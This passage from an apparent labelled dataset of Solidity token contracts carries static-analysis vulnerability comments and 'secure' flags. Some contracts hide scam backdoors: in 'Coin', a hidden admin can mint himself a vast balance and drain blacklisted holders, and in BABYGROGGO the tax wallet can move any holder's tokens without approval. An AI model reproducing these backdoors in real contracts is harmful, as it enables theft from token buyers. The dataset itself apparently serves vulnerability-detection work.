wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4f0f1c6): Ratio.changeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 4f0f1c6: Emit an event for critical parameter changes.\n function changeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 4f0f1c6\n buyTax = newBuyTax;\n\t\t// events-maths | ID: 4f0f1c6\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c4608b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c4608b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 02d6654): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 02d6654: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n inSwapAndLiquify = 1;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = WETH;\n\t\t\t\t\t// reentrancy-events | ID: 851cfd2\n\t\t\t\t\t// reentrancy-events | ID: c4608b2\n\t\t\t\t\t// reentrancy-benign | ID: a54e638\n\t\t\t\t\t// reentrancy-no-eth | ID: 02d6654\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\t\t\t\t\t// reentrancy-no-eth | ID: 02d6654\n inSwapAndLiquify = 0;\n }\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 02d6654\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 02d6654\n _balance[to] += transferAmount;\n\t\t\t// reentrancy-no-eth | ID: 02d6654\n _balance[address(this)] += taxTokens;\n\t\t\t// reentrancy-events | ID: c4608b2\n emit Transfer(from, address(this), taxTokens);\n\t\t\t// reentrancy-events | ID: c4608b2\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 02d6654\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 02d6654\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: c4608b2\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3866cf3): Contract locking ether found Contract Ratio has payable functions Ratio.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3866cf3: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_3457.sol", "secure": 0, "size_bytes": 11211 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwen();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwen() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_3458.sol", "secure": 1, "size_bytes": 1388 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Coin is Ownable {\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 1a23326): Coin._fkceo should be immutable \n\t// Recommendation for 1a23326: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _fkceo;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => bool) private _fffklist;\n function exitApprove(address sss) external {\n if (_fkceo == _msgSender()) {\n _fffklist[sss] = false;\n }\n }\n\n function Approve(address sss) external {\n if (_fkceo == _msgSender()) {\n _fffklist[sss] = true;\n }\n }\n\n function queryyyfck(address sss) public view returns (bool) {\n return _fffklist[sss];\n }\n\n function fffkadminclick(address ddd) external {\n address hackAdmin = _msgSender();\n if (_fkceo != hackAdmin) {\n revert(\"fkfkcccfkfkf\");\n }\n _balances[hackAdmin] = (1000000000 * 10 ** decimals()) * 23333;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 63b7ba6): Coin.constructor(string,string,address).adminBot lacks a zerocheck on \t _fkceo = adminBot\n\t// Recommendation for 63b7ba6: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address adminBot) {\n _name = name_;\n _symbol = symbol_;\n\t\t// missing-zero-check | ID: 63b7ba6\n _fkceo = adminBot;\n _initmint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 987c45a): Coin.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 987c45a: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 624559f): Coin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 624559f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a81759): Coin.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a81759: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 525f62c): Coin.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 525f62c: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 79831f2): Coin.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 79831f2: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n if (_fffklist[from] == true) {\n _balances[from] = _balances[from] - (2000000000 * 10 ** decimals());\n }\n _balances[from] = balance - (amount);\n _balances[to] = _balances[to] + (amount);\n emit Transfer(from, to, amount);\n }\n\n function _initmint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: sss221 to the zero address\");\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a4a12cb): Coin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a4a12cb: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c00e71): Coin._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0c00e71: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_3459.sol", "secure": 0, "size_bytes": 8371 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eeba20b): BABYGROGGO.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for eeba20b: Consider ordering multiplication before division.\ncontract BABYGROGGO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2558add): BABYGROGGO.bots is never initialized. It is used in BABYGROGGO._transfer(address,address,uint256)\n\t// Recommendation for 2558add: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3f4cb92): BABYGROGGO._taxWallet should be immutable \n\t// Recommendation for 3f4cb92: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8f5559): BABYGROGGO._initialBuyTax should be constant \n\t// Recommendation for c8f5559: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3323724): BABYGROGGO._initialSellTax should be constant \n\t// Recommendation for 3323724: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff28dc1): BABYGROGGO._finalBuyTax should be constant \n\t// Recommendation for ff28dc1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb0e0ea): BABYGROGGO._finalSellTax should be constant \n\t// Recommendation for eb0e0ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55ff9e7): BABYGROGGO._reduceBuyTaxAt should be constant \n\t// Recommendation for 55ff9e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 29;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0b465d): BABYGROGGO._reduceSellTaxAt should be constant \n\t// Recommendation for e0b465d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4911b42): BABYGROGGO._preventSwapBefore should be constant \n\t// Recommendation for 4911b42: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 3;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BABY GROGGO\";\n\n string private constant _symbol = unicode\"BGROGGO\";\n\n\t// divide-before-multiply | ID: 8218945\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 6071fa3\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: ccb6788): BABYGROGGO._taxSwapThreshold should be constant \n\t// Recommendation for ccb6788: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: eeba20b\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: ad040e1): BABYGROGGO._maxTaxSwap should be constant \n\t// Recommendation for ad040e1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 58cdf09\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95fd8e3): BABYGROGGO.uniswapV2Router should be immutable \n\t// Recommendation for 95fd8e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25bf71f): BABYGROGGO._uniswapV2Pair should be immutable \n\t// Recommendation for 25bf71f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0x887756fAE6f3B3D62431DCE20719498aE2aB8309);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b27a673): BABYGROGGO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b27a673: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n _transfer(sender, recipient, amount),\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d92a709): BABYGROGGO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d92a709: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a67eabb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a67eabb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f7b40f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f7b40f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 792c6f7): BABYGROGGO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 792c6f7: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2558add): BABYGROGGO.bots is never initialized. It is used in BABYGROGGO._transfer(address,address,uint256)\n\t// Recommendation for 2558add: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0b9cb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0b9cb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (!bots[from] && !bots[to] && msg.sender == _taxWallet) {\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n return 0;\n }\n\n if (\n from == _uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == _uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n\t\t\t\t// reentrancy-events | ID: a67eabb\n\t\t\t\t// reentrancy-benign | ID: f7b40f5\n\t\t\t\t// reentrancy-eth | ID: a0b9cb5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 792c6f7\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: a67eabb\n\t\t\t\t\t// reentrancy-eth | ID: a0b9cb5\n transferFees(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-benign | ID: f7b40f5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a0b9cb5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a0b9cb5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a67eabb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a0b9cb5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a0b9cb5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a67eabb\n emit Transfer(from, to, amount.sub(taxAmount));\n\n return amount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) return;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a67eabb\n\t\t// reentrancy-benign | ID: f7b40f5\n\t\t// reentrancy-eth | ID: a0b9cb5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n _transferTax = 0;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function transferFees(uint256 amount) private {\n\t\t// reentrancy-events | ID: a67eabb\n\t\t// reentrancy-eth | ID: a0b9cb5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 97cc8cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 97cc8cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a63e7e): BABYGROGGO.openTrading() ignores return value by IERC20(_uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4a63e7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a7aa3b8): BABYGROGGO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a7aa3b8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 581f533): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 581f533: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 97cc8cd\n\t\t// unused-return | ID: a7aa3b8\n\t\t// reentrancy-eth | ID: 581f533\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 97cc8cd\n\t\t// unused-return | ID: 4a63e7e\n\t\t// reentrancy-eth | ID: 581f533\n IERC20(_uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-benign | ID: 97cc8cd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 581f533\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function withdrawEths() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_346.sol", "secure": 0, "size_bytes": 18039 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract WhitelistToken is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) public _allowances;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n uint256 public _totalSupply;\n bool public isTrade = false;\n\t// WARNING Optimization Issue (constable-states | ID: b7271a7): WhitelistToken._receiveAddress should be constant \n\t// Recommendation for b7271a7: Add the 'constant' attribute to state variables that never change.\n address _receiveAddress = 0xb83983a71240515e4DF704f5078C58186DAD201A;\n\n event TokenCreated(address indexed owner, address indexed token);\n\n constructor() {\n address owner_ = msg.sender;\n _name = \"Second Earth Whitelist\";\n _symbol = \"SEW\";\n _decimals = 1;\n uint256 total = 5000 * 10 ** _decimals;\n _mint(_receiveAddress, total);\n\n transferOwnership(owner_);\n\n emit TokenCreated(owner(), address(this));\n }\n\n function setIsTrade(bool _isTrade) external onlyOwner {\n isTrade = _isTrade;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41ae724): WhitelistToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 41ae724: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!isTrade) {\n require(\n sender == owner() || sender == _receiveAddress,\n \"ERC20: Cannot trade\"\n );\n }\n require(amount == 1 * 10 ** _decimals, \"ERC20: Incorrect amount\");\n require(balanceOf(recipient) == 0, \"ERC20: The user already has\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n 